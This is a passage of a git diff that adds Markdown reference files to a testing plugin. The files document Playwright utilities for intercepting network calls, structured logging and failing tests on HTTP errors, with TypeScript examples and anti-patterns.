+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
